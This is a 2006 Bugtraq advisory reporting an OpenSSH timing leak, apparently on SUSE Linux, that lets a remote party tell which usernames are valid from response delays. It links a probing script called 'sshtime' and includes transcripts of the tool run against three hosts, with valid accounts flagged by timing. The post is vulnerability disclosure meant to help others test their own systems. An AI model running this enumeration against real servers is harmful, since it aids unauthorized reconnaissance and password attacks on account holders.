yet another OpenSSH timing leak?

[Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>]

Hello Bugtraq,

Here we are again... During a recent penetration test i stumbled upon yet 
another OpenSSH timing leak, leading to remote disclosure of valid 
usernames. It's not as big as the one i found in the past (CVE-2003-0190),
but it can indeed be exploited over the Internet, nevertheless.

This time, OpenSSH-portable apparently introduces a small delay (see 
attached transcript for details) when verifying access credentials for 
users with a password set: it doesn't matter if they don't have a valid 
shell or login has been disabled through an sshd_config directive.

So far, i've not been able to determine the root cause of this exposure 
and i've reproduced it only on some fully-patched SUSE Linux 10.0 boxes
(OpenSSH_4.1 + SUSE patches, both protocols 1 and 2 are affected, with or 
without PAM authentication), therefore it may be a SUSE-specific and/or a
configuration-dependant flaw (latest tests on some freshly installed SUSE
systems didn't show the flawed behaviour).

That said, there are probably other timing leaks involving third-party 
patches (x509 certs, LDAP, and so on), logging, and custom configurations, 
as well as other ways in which valid usernames may be probed for (i.e., 
with RSA/DSA authentication) -- thus i decided to release a small script 
for testing timing patterns in sshd replies:

http://www.0xdeadbeef.info/code/sshtime

It needs expect, and target ssh hostkey must be already added. I'd be very 
interested in knowing the results of tests performed on other distros and 
configurations.

Thanks to Solar Designer and Andrea Barisani for the interesting 
discussion on this topic.

Cheers,

--
Marco Ivaldi
Antifork Research, Inc.   http://0xdeadbeef.info/
3B05 C9C5 A2DE C3D7 4233  0394 EF85 2008 DBFD B707

raptor@pandora:~$ #
raptor@pandora:~$ # Over 100 Mbps LAN (slow computer)
raptor@pandora:~$ #
raptor@pandora:~$ ./sshtime 2.mediaservice.net smalldict 

sshtime v0.1 - Simple OpenSSH remote timing attack tool
Copyright (c) 2006 Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>

admin@xxxxxxxxxxxxxxxxxx              real 0.13
ftp@xxxxxxxxxxxxxxxxxx                real 0.13
media@xxxxxxxxxxxxxxxxxx              real 0.80 <- valid user with shell
nobody@xxxxxxxxxxxxxxxxxx             real 0.13
raptor@xxxxxxxxxxxxxxxxxx             real 0.13
root@xxxxxxxxxxxxxxxxxx               real 0.79 <- valid user with shell
test@xxxxxxxxxxxxxxxxxx               real 0.13
wwwrun@xxxxxxxxxxxxxxxxxx             real 0.14

raptor@pandora:~$ #
raptor@pandora:~$ # 100 Mbps LAN (faster computer)
raptor@pandora:~$ #
raptor@pandora:~$ ./sshtime 3.mediaservice.net smalldict 

sshtime v0.1 - Simple OpenSSH remote timing attack tool
Copyright (c) 2006 Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>

admin@xxxxxxxxxxxxxxxxxx              real 0.09
ftp@xxxxxxxxxxxxxxxxxx                real 0.09
media@xxxxxxxxxxxxxxxxxx              real 0.32 <- valid user with shell
nobody@xxxxxxxxxxxxxxxxxx             real 0.09
raptor@xxxxxxxxxxxxxxxxxx             real 0.09
root@xxxxxxxxxxxxxxxxxx               real 0.32 <- valid user with shell
test@xxxxxxxxxxxxxxxxxx               real 0.09
wwwrun@xxxxxxxxxxxxxxxxxx             real 0.09

raptor@pandora:~$ #
raptor@pandora:~$ # Over the Internet
raptor@pandora:~$ #
raptor@pandora:~$ ./sshtime 4.mediaservice.net smalldict 

sshtime v0.1 - Simple OpenSSH remote timing attack tool
Copyright (c) 2006 Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>

admin@xxxxxxxxxxxxxxxxxx              real 1.22
ftp@xxxxxxxxxxxxxxxxxx                real 1.17
media@xxxxxxxxxxxxxxxxxx              real 1.22
nobody@xxxxxxxxxxxxxxxxxx             real 1.17
raptor@xxxxxxxxxxxxxxxxxx             real 1.22
root@xxxxxxxxxxxxxxxxxx               real 1.77 <- valid user with shell
test@xxxxxxxxxxxxxxxxxx               real 1.27
wwwrun@xxxxxxxxxxxxxxxxxx             real 1.77 <- valid user without shell

raptor@pandora:~$